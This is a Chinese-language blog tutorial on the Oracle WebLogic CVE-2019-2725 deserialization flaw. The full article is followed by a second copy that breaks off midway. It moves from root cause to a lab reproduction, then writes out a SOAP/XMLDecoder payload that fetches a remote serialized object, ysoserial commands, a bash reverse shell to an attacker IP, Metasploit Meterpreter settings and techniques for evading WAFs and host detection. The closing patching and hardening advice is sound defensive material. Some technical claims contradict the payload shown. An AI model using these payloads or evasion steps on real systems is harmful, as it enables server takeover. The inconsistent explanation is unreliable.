1. 项目概述一个被低估的“定时炸弹”几年前当安全圈的朋友们聊起WebLogic的漏洞CVE-2019-2725这个名字可能不像“永恒之蓝”那样如雷贯耳但它绝对是一个在特定场景下威力巨大、且极具代表性的“定时炸弹”。我处理过不少由这个漏洞引发的安全事件从内网漫游到服务器沦陷其利用链的巧妙和危害的隐蔽性都让我印象深刻。简单来说这是一个存在于Oracle WebLogic Server Web服务组件中的反序列化漏洞攻击者能够通过构造特定的XML数据在未授权的情况下远程执行任意代码。听起来很技术你可以把它想象成你家的智能门锁WebLogic的某个服务接受一种特定格式的指令XML但设计时没检查指令的真伪结果攻击者伪造了一个“开门”指令系统就乖乖照办了直接把整个家的控制权交了出去。这个漏洞影响范围极广波及WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3等多个主流版本而WebLogic作为企业级Java应用服务器的中流砥柱在金融、电信、政府等领域有着海量的部署。更关键的是其利用方式并非简单的“一点就破”它涉及对WebLogic内部处理机制、XML反序列化流程以及Java类加载机制的深度理解。对于安全研究人员剖析它能深入理解Java反序列化漏洞的经典模式对于企业运维和安全人员掌握它能有效进行防御布控和应急响应对于红队队员它则是一个绕过常规防御、直击内网核心的利器。今天我就结合多次实战分析和复现的经验把这个漏洞从里到外、从原理到利用掰开揉碎了讲清楚。2. 漏洞原理深度拆解XML反序列化的“信任”陷阱要理解CVE-2019-2725必须抓住两个核心“wls9-async”组件和**“XML反序列化”**。这不仅仅是两个技术名词更是整个漏洞链条的起点和关键执行点。2.1 漏洞入口被默认开启的“异步通信服务”WebLogic的/wls-wsat/CoordinatorPortType、/wls-wsat/RegistrationPortType等端点属于“WebLogic Web Services Atomic Transaction”组件的一部分用于支持Web服务的异步通信。问题在于这个服务在受影响版本的WebLogic中通常是默认开启的并且不需要任何身份认证即可访问。这就好比在你家院子角落默认开了一扇供邮差投递的小门但这扇门既没上锁也没人看管。攻击者可以直接向这些端点发送HTTP POST请求。服务端收到请求后会调用特定的处理类如weblogic.wsee.jaxws.workcontext.WorkContextServerTube来处理请求中的SOAP消息。而漏洞的触发点就藏在处理SOAP消息头Header中一个名为work:WorkContext的特定元素时。2.2 核心触发从XML到Java对象的危险转换这里就进入了漏洞最核心的部分——XML反序列化。WorkContextServerTube类在解析work:WorkContext标签内的XML数据时使用了一个叫weblogic.wsee.workarea.WorkContextXmlInputAdapter的类。这个类的readUTF()方法会调用weblogic.workarea.spi.WorkContextXmlParser的parse()方法。关键的一步来了在parse()方法中WebLogic使用了一个来自JDK的java.io.ObjectInputStream来反序列化XML数据。ObjectInputStream的功能是将序列化后的字节流还原成Java对象。在反序列化过程中它会根据流中的数据自动调用对象的readObject()方法。这本是Java对象持久化和传输的标准机制但前提是你必须完全信任你所反序列化的数据来源。WebLogic在这里犯了一个致命的错误它无条件地信任了来自客户端即攻击者的XML输入并将其直接交给ObjectInputStream处理。攻击者可以在XML中嵌入一个经过精心构造的、序列化后的恶意Java对象。当WebLogic解析这个XML时ObjectInputStream会忠实地执行这个恶意对象readObject()方法中的代码从而执行任意命令。2.3 利用链构造为什么是oracle.toplink.internal.sessions.UnitOfWorkChangeSet理解了反序列化这个“枪”之后我们还需要一颗“子弹”。在CVE-2019-2725的公开利用中最常用的“子弹”就是利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet这个类。这个类本身是WebLogic内置的属于EclipseLink库用于数据持久化它有一个readObject()方法。在反序列化时这个方法会调用this.xmlReader.read()。而this.xmlReader是一个java.io.BufferedReader它又关联着一个java.io.InputStream。攻击者的巧妙之处在于他们通过XML外部实体XXE注入控制了this.xmlReader读取的来源。他们可以将其指向一个包含恶意Java序列化数据的URL。当UnitOfWorkChangeSet的readObject()方法执行到this.xmlReader.read()时它就会去读取攻击者指定的URL内容并将这些内容恶意序列化数据再次传递给ObjectInputStream进行反序列化。注意这里存在一个“二次反序列化”的过程。第一次是WebLogic解析攻击者最初的XML触发了UnitOfWorkChangeSet的反序列化第二次是在UnitOfWorkChangeSet的readObject()方法内部它又从远程URL读取了另一段序列化数据并反序列化。这第二段数据才是最终承载执行命令代码的“终极炮弹”通常是一个构造好的java.lang.Runtime.exec()调用链。这种利用方式之所以成功是因为UnitOfWorkChangeSet类不在WebLogic默认的反序列化类黑名单weblogic.security.utils.FilteringObjectInputStream之内从而绕过了基础的防护。原理小结漏洞利用链可以概括为访问默认开放的无认证端点 - 提交包含恶意work:WorkContext的SOAP请求 - 触发WebLogic对XML数据的危险反序列化 - 利用内置的UnitOfWorkChangeSet类进行XXE引导 - 发起二次反序列化加载远程恶意代码 - 实现远程命令执行。3. 实战环境搭建与漏洞复现纸上得来终觉浅绝知此事要躬行。下面我们搭建一个靶场亲手把这个漏洞复现一遍。请务必在授权的、隔离的测试环境中进行以下操作。3.1 靶场环境准备我推荐使用Docker来快速搭建一个包含漏洞的WebLogic环境这是最安全、最便捷的方式。拉取漏洞镜像网络上有很多安全研究者构建好的漏洞靶场镜像。我们可以使用一个常见的版本。docker pull vulhub/weblogic:10.3.6.0-2017 # 这个镜像通常已经集成了CVE-2019-2725所需的环境启动容器docker run -d -p 7001:7001 -p 8453:8453 --name weblogic-2725 vulhub/weblogic:10.3.6.0-2017这里将WebLogic的管理控制台端口7001和漏洞可能利用的端口映射到宿主机。环境验证等待几分钟后在浏览器访问http://your-host-ip:7001/console。如果能看到WebLogic管理控制台的登录页面说明环境启动成功。我们的目标不是控制台而是那个存在漏洞的异步服务。3.2 手工漏洞探测与验证在利用之前我们先确认目标是否存在漏洞。漏洞端点通常是http://your-host-ip:7001/_async/AsyncResponseServicehttp://your-host-ip:7001/wls-wsat/CoordinatorPortTypehttp://your-host-ip:7001/wls-wsat/RegistrationPortType我们可以发送一个简单的POST请求进行探测。使用curl命令或者Burp Suite等工具。curl -X POST http://192.168.1.100:7001/wls-wsat/CoordinatorPortType -H Content-Type: text/xml -d testhello/test观察返回。如果返回错误信息中包含weblogic.wsee.workarea.WorkContextException、WorkContext等相关字样或者返回一个空的SOAP响应而不是直接的404 Not Found则强烈表明该端点存在且可能可被利用。一个更准确的验证方式是发送一个合法的SOAP信封结构但包含一个空的或不完整的WorkContext看服务端的解析反应。POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.100:7001 Content-Type: text/xml Content-Length: ... soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ !-- 这里将是我们的恶意载荷 -- /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope如果服务器返回一个SOAP格式的响应即使是错误也说明该服务正在运行并处理了我们的请求。3.3 构造并执行漏洞利用载荷这里我们演示一种经典的利用方式即通过UnitOfWorkChangeSet触发XXE加载远程恶意序列化对象来执行命令。整个过程分为三步第一步生成最终执行命令的恶意序列化对象。我们需要创建一个能执行Runtime.getRuntime().exec(“命令”)的Java对象链并将其序列化。通常使用ysoserial工具中的CommonsCollections链例如CommonsCollections1、CommonsCollections2等具体取决于目标WebLogic的ClassPath。假设我们要执行命令touch /tmp/success_cve-2019-2725。# 使用ysoserial生成序列化数据并输出到文件 java -jar ysoserial.jar CommonsCollections1 touch /tmp/success_cve-2019-2725 payload.ser第二步在攻击机上启动一个HTTP服务用于托管上一步生成的payload.ser文件。python3 -m http.server 8888 # 现在http://your-attack-ip:8888/payload.ser 可以访问到这个恶意序列化文件。第三步构造完整的XML攻击载荷发送给目标。这个XML载荷的核心是在work:WorkContext中嵌入一个序列化的UnitOfWorkChangeSet对象该对象在其xmlReader属性中通过XXE指向我们第二步搭建的HTTP服务上的payload.ser文件。一个简化的载荷结构如下实际需要精确的序列化字节的十六进制表示或Base64编码POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.100:7001 Content-Type: text/xml Content-Length: ... soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java version1.8.0_131 classjava.beans.XMLDecoder void classoracle.toplink.internal.sessions.UnitOfWorkChangeSet void propertyshouldWriteChanges booleantrue/boolean /void void propertyxmlReader object classjava.io.BufferedReader object classjava.io.InputStreamReader object classjava.io.InputStreamReader !-- 关键通过URL发起请求加载远程payload -- object classjava.net.URL stringhttp://your-attack-ip:8888/payload.ser/string /object stringUTF-8/string /object /object /object /void /void /java /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope实操心得在实际构造中我们通常不会直接手写这么复杂的XML而是利用现成的漏洞利用框架如Metasploit或者编写Python/Java脚本自动将UnitOfWorkChangeSet的序列化字节流进行适当的编码如Base64或十六进制然后嵌入到XML中。手工构造极易出错重点是理解这个结构。第四步发送请求验证结果。将上述构造好的HTTP请求发送到目标WebLogic服务器。如果漏洞存在且利用成功你的HTTP服务器端口8888会收到一个来自目标服务器的、对payload.ser文件的GET请求。目标服务器会反序列化这个payload.ser文件并执行其中嵌入的命令在我们的例子中是在目标服务器的/tmp目录下创建一个名为success_cve-2019-2725的文件。你可以登录到WebLogic容器内部去检查文件是否创建成功docker exec -it weblogic-2725 /bin/bash ls -la /tmp/success_cve-2019-27254. 漏洞利用的进阶技巧与武器化在实战中直接执行touch命令只是验证。真正的利用需要更隐蔽、更稳定、功能更强大的方式。4.1 命令执行与交互式Shell获取创建文件是单向的我们更需要一个反向ShellReverse Shell来获得交互式控制。生成反向Shell载荷使用msfvenom或nc命令生成。# 使用bash反向Shell假设攻击机IP为192.168.1.50监听端口4444 # 注意需要对命令进行URL编码或Base64编码以避免XML解析问题 bash -i /dev/tcp/192.168.1.50/4444 01 # 可以将其Base64编码YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx构造最终攻击命令将解码并执行反向Shell的命令嵌入到ysoserial的payload中。由于命令可能包含特殊字符一种稳妥的方式是将其写入一个脚本文件再执行。echo -n bash -i /dev/tcp/192.168.1.50/4444 01 | base64 -d | bash对应的ysoserial命令可能是java -jar ysoserial.jar CommonsCollections2 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} reverse.ser在攻击机开启监听nc -lvnp 4444发送利用载荷将托管reverse.ser的URL放入XML攻击载荷中发送请求。成功后你将在nc监听端口中获得一个来自目标服务器的bash shell。4.2 利用工具化Metasploit模块解析手工构造虽然有助于理解原理但效率低。Metasploit框架提供了成熟的利用模块exploit/multi/http/weblogic_deserialize_asyncresponseservice它自动化了上述所有步骤。加载模块并配置参数msf6 use exploit/multi/http/weblogic_deserialize_asyncresponseservice msf6 exploit(weblogic_deserialize_asyncresponseservice) set RHOSTS 192.168.1.100 msf6 exploit(weblogic_deserialize_asyncresponseservice) set RPORT 7001 msf6 exploit(weblogic_deserialize_asyncresponseservice) set TARGETURI /_async/AsyncResponseService # 根据实际情况修改路径 msf6 exploit(weblogic_deserialize_asyncresponseservice) set LHOST 192.168.1.50 msf6 exploit(weblogic_deserialize_asyncresponseservice) set LPORT 4444选择Payload模块支持多种Payload如反向Shell、Meterpreter等。Meterpreter功能更强大。msf6 exploit(weblogic_deserialize_asyncresponseservice) set PAYLOAD java/meterpreter/reverse_tcp执行攻击msf6 exploit(weblogic_deserialize_asyncresponseservice) exploit如果成功你将获得一个Meterpreter会话可以执行文件操作、提权、信息搜集、横向移动等一系列后渗透动作。注意事项Metasploit模块的利用链可能基于特定的ysoserialgadget链如CommonsCollections1。如果目标环境因为JDK版本、ClassPath差异导致该链不生效攻击会失败。这时可能需要手动分析环境调整或选择其他gadget链如CommonsCollections2、CommonsCollections3、CommonsBeanutils1等这也是手工复现价值所在。4.3 绕过防御与隐蔽利用随着该漏洞的普及防守方也增加了各种防护措施。路径黑名单很多WAF或安全设备会拦截包含/wls-wsat/、/_async/的请求。绕过思路路径混淆尝试使用大小写变形如/Wls-Wsat/、多余斜杠///wls-wsat///、URL编码%2f%77%6c%73%2d%77%73%61%74%2f等方式。利用其他端点除了常见的两个研究其他可能触发相同反序列化逻辑的端点。前端代理后真实路径目标可能通过Nginx/Apache反向代理外部路径与内部WebLogic路径不同需要信息搜集。流量特征检测攻击载荷中包含特定的类名oracle.toplink.internal.sessions.UnitOfWorkChangeSet和序列化数据特征。绕过思路类名混淆对XML中的类名进行双URL编码、Unicode编码等。载荷编码与分片将整个恶意XML进行Base64编码后传输或在SOAP消息体中分片传输。使用替代gadget链寻找其他不在常见特征库中的、可利用的WebLogic内置类来构造利用链。主机层防护安装了杀毒软件或HIDS主机入侵检测系统。绕过思路无文件落地利用漏洞直接向内存中写入Shellcode或加载恶意类避免在磁盘上创建可执行文件。执行无害命令探测初始探测使用whoami、id、ping等看似正常的命令避免触发敏感告警。使用纯内存的Meterpreter配合java/meterpreter/reverse_tcp等Payload大部分操作在内存中完成。5. 漏洞防御与修复指南作为防御方面对CVE-2019-2725这样的高危漏洞必须采取多层次、立体的防御策略。5.1 紧急临时处置措施如果无法立即升级应立即采取以下临时加固措施删除或禁用漏洞组件这是最直接有效的方法。找到WebLogic安装目录下的wls-wsat.war和async相关应用包直接删除或重命名。通常路径为$WEBLOGIC_HOME/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/和$WEBLOGIC_HOME/wlserver_10.3/server/lib/。删除后需要重启WebLogic服务才能生效。注意直接删除文件可能在后续补丁或升级时带来问题。更推荐通过控制台禁用。通过控制台禁用服务登录WebLogic管理控制台 (http://host:port/console)。在左侧域结构中找到“部署”。在部署列表中找到“wls-wsat”和“async”可能显示为“bea_wls9_async_response”等。选中它们点击“停止” - “为所有请求提供服务”。确保其状态变为“未活动”。同样重启服务后生效。网络层访问控制在防火墙或WebLogic前端的代理服务器如Nginx上配置规则直接拦截或返回错误码给对/_async/*和/wls-wsat/*路径的访问请求。Nginx配置示例location ~ ^/(_async|wls-wsat)/ { deny all; return 403; }5.2 官方补丁升级长期根本的解决方案是安装Oracle官方发布的补丁。对于CVE-2019-2725Oracle在2019年4月和7月的关键补丁更新CPU中进行了修复。确定你的WebLogic版本查看$WEBLOGIC_HOME/.product.properties文件或管理控制台首页。访问Oracle官方支持网站根据你的具体版本如10.3.6.0下载对应的关键补丁更新CPU。例如对于10.3.6.0需要安装2019年4月CPU Apr 2019及之后的补丁。仔细阅读补丁说明确认该补丁确实包含了针对CVE-2019-2725的修复。按照Oracle官方指南进行补丁安装通常使用OPatch工具。务必在测试环境验证后再应用到生产环境。5.3 纵深防御体系建设单点修补不足以应对未来的威胁需要构建体系化的防御。最小权限原则运行WebLogic服务的操作系统账户不应具有过高权限如root/Administrator。使用专用低权限账户。网络隔离与分段将WebLogic服务器部署在内网严格限制外部访问。只开放必要的业务端口如7001, 80, 443管理控制台端口禁止从互联网访问。部署Web应用防火墙WAF配置WAF规则拦截包含WorkContext、UnitOfWorkChangeSet、XMLDecoder等关键词的异常SOAP请求以及检测反序列化攻击的通用特征。启用WebLogic自身安全特性配置反序列化过滤器在WebLogic 12.2.1及以上版本可以配置weblogic.security.utils.FilteringObjectInputStream来定义更严格的反序列化类白名单。使用安全域Security Realm为所有服务包括可能被忽略的Web Service端点配置强制身份认证。常态化安全监测日志审计开启并定期分析WebLogic访问日志access.log和诊断日志diagnostic.log关注对可疑路径的访问和异常错误堆栈如ClassNotFoundException,InvalidClassException等。入侵检测在主机层部署HIDS监控WebLogic进程的异常子进程启动行为如突然执行bash、cmd、powershell。定期漏洞扫描使用Nexpose, Nessus, OpenVAS等工具定期对WebLogic服务进行漏洞扫描。6. 从CVE-2019-2725看Java反序列化漏洞的攻防CVE-2019-2725绝非孤例它是Java反序列化漏洞家族中的一个典型代表。剖析它能为我们理解整个攻防面打开一扇窗。6.1 漏洞模式的共性这类漏洞通常遵循一个模式“不可信数据源 - 危险反序列化API - 可利用的类Gadget Chain - 代码执行”。不可信数据源HTTP请求参数、RMI通信、JMX、JMS消息、文件上传、数据库存储等。CVE-2019-2725的数据源是SOAP消息头。危险APIObjectInputStream.readObject(),XMLDecoder.readObject(),XStream.fromXML(),ObjectMapper.readValue()等。它们默认信任输入数据。Gadget Chain一系列在ClassPath中存在的、可被串联起来的类其方法调用最终能导向危险操作如Runtime.exec()、ProcessBuilder.start()、JNDI注入、反射调用等。UnitOfWorkChangeSet只是其中一环。6.2 攻击者的武器库演变从最初的Apache Commons Collections链到Spring、Groovy、Jython、Jboss、Mozilla Rhino等各种第三方库中的gadget被挖掘出来攻击者的武器库日益丰富。工具也从ysoserial发展到功能更强大的marshalsec。攻击思路也从直接执行命令发展到加载远程类JNDI注入、写入内存马WebShell in Memory等更隐蔽的方式。6.3 防御思路的升级防御也在不断进化输入验证与过滤对反序列化操作的数据源进行严格的白名单校验。类黑名单/白名单像WebLogic自己的FilteringObjectInputStream或使用SerialKiller、Hessian的白名单机制。白名单优于黑名单。升级与替换升级存在危险gadget的第三方库版本用更安全的序列化方案如JSON、Protocol Buffers替换Java原生序列化。运行时防护使用Java Agent技术进行运行时监控如RASP运行时应用自保护在readObject()等关键方法被调用时进行栈回溯检查拦截恶意gadget链的调用。代码审计在代码层面避免直接反序列化不可信数据。如果必须使用ObjectInputStream时重写resolveClass方法进行严格校验。6.4 对开发与运维的启示对于开发人员永远不要反序列化不受信任的数据。这是一个安全铁律。在代码评审时要格外关注任何涉及ObjectInputStream、XMLDecoder、XStream、Jackson的enableDefaultTyping()、Fastjson的autoType等功能的代码。对于运维和安全人员资产清点和补丁管理是生命线。必须清楚知道内网有多少个WebLogic实例它们的版本、补丁情况、开放了哪些服务。像/wls-wsat/这种默认开启的非业务关键服务应在安全基线的配置规范中明确要求禁用。建立快速的漏洞应急响应流程对于此类已出现利用代码的N-day漏洞必须在极短时间内完成排查和处置。CVE-2019-2725就像一面镜子照出了在复杂的企业级中间件中一个微小的设计疏忽默认开启、无需认证、危险反序列化如何演变成一条直通核心的攻击路径。它的价值不仅在于教会我们如何利用一个具体的漏洞更在于让我们深刻理解Java反序列化这一大类安全问题的本质、演变和对抗方法从而在未来的工作中无论是攻击、防御还是开发都能多一份警惕和洞察。
CVE-2019-2725漏洞深度剖析:从XML反序列化到WebLogic攻防实战
1. 项目概述一个被低估的“定时炸弹”几年前当安全圈的朋友们聊起WebLogic的漏洞CVE-2019-2725这个名字可能不像“永恒之蓝”那样如雷贯耳但它绝对是一个在特定场景下威力巨大、且极具代表性的“定时炸弹”。我处理过不少由这个漏洞引发的安全事件从内网漫游到服务器沦陷其利用链的巧妙和危害的隐蔽性都让我印象深刻。简单来说这是一个存在于Oracle WebLogic Server Web服务组件中的反序列化漏洞攻击者能够通过构造特定的XML数据在未授权的情况下远程执行任意代码。听起来很技术你可以把它想象成你家的智能门锁WebLogic的某个服务接受一种特定格式的指令XML但设计时没检查指令的真伪结果攻击者伪造了一个“开门”指令系统就乖乖照办了直接把整个家的控制权交了出去。这个漏洞影响范围极广波及WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3等多个主流版本而WebLogic作为企业级Java应用服务器的中流砥柱在金融、电信、政府等领域有着海量的部署。更关键的是其利用方式并非简单的“一点就破”它涉及对WebLogic内部处理机制、XML反序列化流程以及Java类加载机制的深度理解。对于安全研究人员剖析它能深入理解Java反序列化漏洞的经典模式对于企业运维和安全人员掌握它能有效进行防御布控和应急响应对于红队队员它则是一个绕过常规防御、直击内网核心的利器。今天我就结合多次实战分析和复现的经验把这个漏洞从里到外、从原理到利用掰开揉碎了讲清楚。2. 漏洞原理深度拆解XML反序列化的“信任”陷阱要理解CVE-2019-2725必须抓住两个核心“wls9-async”组件和**“XML反序列化”**。这不仅仅是两个技术名词更是整个漏洞链条的起点和关键执行点。2.1 漏洞入口被默认开启的“异步通信服务”WebLogic的/wls-wsat/CoordinatorPortType、/wls-wsat/RegistrationPortType等端点属于“WebLogic Web Services Atomic Transaction”组件的一部分用于支持Web服务的异步通信。问题在于这个服务在受影响版本的WebLogic中通常是默认开启的并且不需要任何身份认证即可访问。这就好比在你家院子角落默认开了一扇供邮差投递的小门但这扇门既没上锁也没人看管。攻击者可以直接向这些端点发送HTTP POST请求。服务端收到请求后会调用特定的处理类如weblogic.wsee.jaxws.workcontext.WorkContextServerTube来处理请求中的SOAP消息。而漏洞的触发点就藏在处理SOAP消息头Header中一个名为work:WorkContext的特定元素时。2.2 核心触发从XML到Java对象的危险转换这里就进入了漏洞最核心的部分——XML反序列化。WorkContextServerTube类在解析work:WorkContext标签内的XML数据时使用了一个叫weblogic.wsee.workarea.WorkContextXmlInputAdapter的类。这个类的readUTF()方法会调用weblogic.workarea.spi.WorkContextXmlParser的parse()方法。关键的一步来了在parse()方法中WebLogic使用了一个来自JDK的java.io.ObjectInputStream来反序列化XML数据。ObjectInputStream的功能是将序列化后的字节流还原成Java对象。在反序列化过程中它会根据流中的数据自动调用对象的readObject()方法。这本是Java对象持久化和传输的标准机制但前提是你必须完全信任你所反序列化的数据来源。WebLogic在这里犯了一个致命的错误它无条件地信任了来自客户端即攻击者的XML输入并将其直接交给ObjectInputStream处理。攻击者可以在XML中嵌入一个经过精心构造的、序列化后的恶意Java对象。当WebLogic解析这个XML时ObjectInputStream会忠实地执行这个恶意对象readObject()方法中的代码从而执行任意命令。2.3 利用链构造为什么是oracle.toplink.internal.sessions.UnitOfWorkChangeSet理解了反序列化这个“枪”之后我们还需要一颗“子弹”。在CVE-2019-2725的公开利用中最常用的“子弹”就是利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet这个类。这个类本身是WebLogic内置的属于EclipseLink库用于数据持久化它有一个readObject()方法。在反序列化时这个方法会调用this.xmlReader.read()。而this.xmlReader是一个java.io.BufferedReader它又关联着一个java.io.InputStream。攻击者的巧妙之处在于他们通过XML外部实体XXE注入控制了this.xmlReader读取的来源。他们可以将其指向一个包含恶意Java序列化数据的URL。当UnitOfWorkChangeSet的readObject()方法执行到this.xmlReader.read()时它就会去读取攻击者指定的URL内容并将这些内容恶意序列化数据再次传递给ObjectInputStream进行反序列化。注意这里存在一个“二次反序列化”的过程。第一次是WebLogic解析攻击者最初的XML触发了UnitOfWorkChangeSet的反序列化第二次是在UnitOfWorkChangeSet的readObject()方法内部它又从远程URL读取了另一段序列化数据并反序列化。这第二段数据才是最终承载执行命令代码的“终极炮弹”通常是一个构造好的java.lang.Runtime.exec()调用链。这种利用方式之所以成功是因为UnitOfWorkChangeSet类不在WebLogic默认的反序列化类黑名单weblogic.security.utils.FilteringObjectInputStream之内从而绕过了基础的防护。原理小结漏洞利用链可以概括为访问默认开放的无认证端点 - 提交包含恶意work:WorkContext的SOAP请求 - 触发WebLogic对XML数据的危险反序列化 - 利用内置的UnitOfWorkChangeSet类进行XXE引导 - 发起二次反序列化加载远程恶意代码 - 实现远程命令执行。3. 实战环境搭建与漏洞复现纸上得来终觉浅绝知此事要躬行。下面我们搭建一个靶场亲手把这个漏洞复现一遍。请务必在授权的、隔离的测试环境中进行以下操作。3.1 靶场环境准备我推荐使用Docker来快速搭建一个包含漏洞的WebLogic环境这是最安全、最便捷的方式。拉取漏洞镜像网络上有很多安全研究者构建好的漏洞靶场镜像。我们可以使用一个常见的版本。docker pull vulhub/weblogic:10.3.6.0-2017 # 这个镜像通常已经集成了CVE-2019-2725所需的环境启动容器docker run -d -p 7001:7001 -p 8453:8453 --name weblogic-2725 vulhub/weblogic:10.3.6.0-2017这里将WebLogic的管理控制台端口7001和漏洞可能利用的端口映射到宿主机。环境验证等待几分钟后在浏览器访问http://your-host-ip:7001/console。如果能看到WebLogic管理控制台的登录页面说明环境启动成功。我们的目标不是控制台而是那个存在漏洞的异步服务。3.2 手工漏洞探测与验证在利用之前我们先确认目标是否存在漏洞。漏洞端点通常是http://your-host-ip:7001/_async/AsyncResponseServicehttp://your-host-ip:7001/wls-wsat/CoordinatorPortTypehttp://your-host-ip:7001/wls-wsat/RegistrationPortType我们可以发送一个简单的POST请求进行探测。使用curl命令或者Burp Suite等工具。curl -X POST http://192.168.1.100:7001/wls-wsat/CoordinatorPortType -H Content-Type: text/xml -d testhello/test观察返回。如果返回错误信息中包含weblogic.wsee.workarea.WorkContextException、WorkContext等相关字样或者返回一个空的SOAP响应而不是直接的404 Not Found则强烈表明该端点存在且可能可被利用。一个更准确的验证方式是发送一个合法的SOAP信封结构但包含一个空的或不完整的WorkContext看服务端的解析反应。POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.100:7001 Content-Type: text/xml Content-Length: ... soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ !-- 这里将是我们的恶意载荷 -- /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope如果服务器返回一个SOAP格式的响应即使是错误也说明该服务正在运行并处理了我们的请求。3.3 构造并执行漏洞利用载荷这里我们演示一种经典的利用方式即通过UnitOfWorkChangeSet触发XXE加载远程恶意序列化对象来执行命令。整个过程分为三步第一步生成最终执行命令的恶意序列化对象。我们需要创建一个能执行Runtime.getRuntime().exec(“命令”)的Java对象链并将其序列化。通常使用ysoserial工具中的CommonsCollections链例如CommonsCollections1、CommonsCollections2等具体取决于目标WebLogic的ClassPath。假设我们要执行命令touch /tmp/success_cve-2019-2725。# 使用ysoserial生成序列化数据并输出到文件 java -jar ysoserial.jar CommonsCollections1 touch /tmp/success_cve-2019-2725 payload.ser第二步在攻击机上启动一个HTTP服务用于托管上一步生成的payload.ser文件。python3 -m http.server 8888 # 现在http://your-attack-ip:8888/payload.ser 可以访问到这个恶意序列化文件。第三步构造完整的XML攻击载荷发送给目标。这个XML载荷的核心是在work:WorkContext中嵌入一个序列化的UnitOfWorkChangeSet对象该对象在其xmlReader属性中通过XXE指向我们第二步搭建的HTTP服务上的payload.ser文件。一个简化的载荷结构如下实际需要精确的序列化字节的十六进制表示或Base64编码POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.100:7001 Content-Type: text/xml Content-Length: ... soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java version1.8.0_131 classjava.beans.XMLDecoder void classoracle.toplink.internal.sessions.UnitOfWorkChangeSet void propertyshouldWriteChanges booleantrue/boolean /void void propertyxmlReader object classjava.io.BufferedReader object classjava.io.InputStreamReader object classjava.io.InputStreamReader !-- 关键通过URL发起请求加载远程payload -- object classjava.net.URL stringhttp://your-attack-ip:8888/payload.ser/string /object stringUTF-8/string /object /object /object /void /void /java /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope实操心得在实际构造中我们通常不会直接手写这么复杂的XML而是利用现成的漏洞利用框架如Metasploit或者编写Python/Java脚本自动将UnitOfWorkChangeSet的序列化字节流进行适当的编码如Base64或十六进制然后嵌入到XML中。手工构造极易出错重点是理解这个结构。第四步发送请求验证结果。将上述构造好的HTTP请求发送到目标WebLogic服务器。如果漏洞存在且利用成功你的HTTP服务器端口8888会收到一个来自目标服务器的、对payload.ser文件的GET请求。目标服务器会反序列化这个payload.ser文件并执行其中嵌入的命令在我们的例子中是在目标服务器的/tmp目录下创建一个名为success_cve-2019-2725的文件。你可以登录到WebLogic容器内部去检查文件是否创建成功docker exec -it weblogic-2725 /bin/bash ls -la /tmp/success_cve-2019-27254. 漏洞利用的进阶技巧与武器化在实战中直接执行touch命令只是验证。真正的利用需要更隐蔽、更稳定、功能更强大的方式。4.1 命令执行与交互式Shell获取创建文件是单向的我们更需要一个反向ShellReverse Shell来获得交互式控制。生成反向Shell载荷使用msfvenom或nc命令生成。# 使用bash反向Shell假设攻击机IP为192.168.1.50监听端口4444 # 注意需要对命令进行URL编码或Base64编码以避免XML解析问题 bash -i /dev/tcp/192.168.1.50/4444 01 # 可以将其Base64编码YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx构造最终攻击命令将解码并执行反向Shell的命令嵌入到ysoserial的payload中。由于命令可能包含特殊字符一种稳妥的方式是将其写入一个脚本文件再执行。echo -n bash -i /dev/tcp/192.168.1.50/4444 01 | base64 -d | bash对应的ysoserial命令可能是java -jar ysoserial.jar CommonsCollections2 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} reverse.ser在攻击机开启监听nc -lvnp 4444发送利用载荷将托管reverse.ser的URL放入XML攻击载荷中发送请求。成功后你将在nc监听端口中获得一个来自目标服务器的bash shell。4.2 利用工具化Metasploit模块解析手工构造虽然有助于理解原理但效率低。Metasploit框架提供了成熟的利用模块exploit/multi/http/weblogic_deserialize_asyncresponseservice它自动化了上述所有步骤。加载模块并配置参数msf6 use exploit/multi/http/weblogic_deserialize_asyncresponseservice msf6 exploit(weblogic_deserialize_asyncresponseservice) set RHOSTS 192.168.1.100 msf6 exploit(weblogic_deserialize_asyncresponseservice) set RPORT 7001 msf6 exploit(weblogic_deserialize_asyncresponseservice) set TARGETURI /_async/AsyncResponseService # 根据实际情况修改路径 msf6 exploit(weblogic_deserialize_asyncresponseservice) set LHOST 192.168.1.50 msf6 exploit(weblogic_deserialize_asyncresponseservice) set LPORT 4444选择Payload模块支持多种Payload如反向Shell、Meterpreter等。Meterpreter功能更强大。msf6 exploit(weblogic_deserialize_asyncresponseservice) set PAYLOAD java/meterpreter/reverse_tcp执行攻击msf6 exploit(weblogic_deserialize_asyncresponseservice) 